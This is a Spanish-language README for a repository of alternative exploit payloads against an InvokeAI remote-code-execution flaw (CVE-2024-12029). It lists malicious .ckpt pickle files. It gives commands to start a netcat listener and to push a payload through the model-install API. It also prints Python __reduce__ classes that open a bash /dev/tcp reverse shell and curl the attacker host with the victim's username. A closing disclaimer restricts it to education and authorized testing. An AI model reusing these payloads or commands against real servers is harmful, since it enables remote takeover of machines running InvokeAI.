Este repositorio contiene enfoques de payload alternativos para la vulnerabilidad RCE de InvokeAI (CVE-2024-12029) cuando falla la inyección de clave SSH. Los payloads están diseñados para probar si realmente ocurre la deserialización de pickle y proporcionar métodos de acceso alternativos.
Este repositorio contiene enfoques de payload alternativos para la vulnerabilidad RCE de InvokeAI (CVE-2024-12029) cuando falla la inyección de claves SSH. Los payloads están diseñados para comprobar si realmente se está produciendo la deserialización de pickle y proporcionar métodos de acceso alternativos.
Cuando los payloads de inyección de claves SSH se entregan correctamente (Estado 201) pero el acceso SSH sigue requiriendo contraseña, indica que:
payload_reverse_bash.ckpt (89 bytes) - Reverse shell en Bashpayload_reverse_python.ckpt (267 bytes) - Reverse shell en Pythonpayload_reverse_nc.ckpt (70 bytes) - Reverse shell con Netcatpayload_callback_test.ckpt (115 bytes) - Callback HTTP para verificar la deserializaciónpayload_test.ckpt (90 bytes) - Prueba simple de creación de archivospayload_alt_exec.ckpt (223 bytes) - Método de ejecución alternativopayload_ssh_simple.ckpt (271 bytes) - Inyección de claves SSH compatible con Linuxkali_reverse_test.py - Suite de pruebas integralreverse_shell_payload.py - Genera payloads de reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt en el objetivoclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Este repositorio es únicamente para fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de probar cualquier sistema.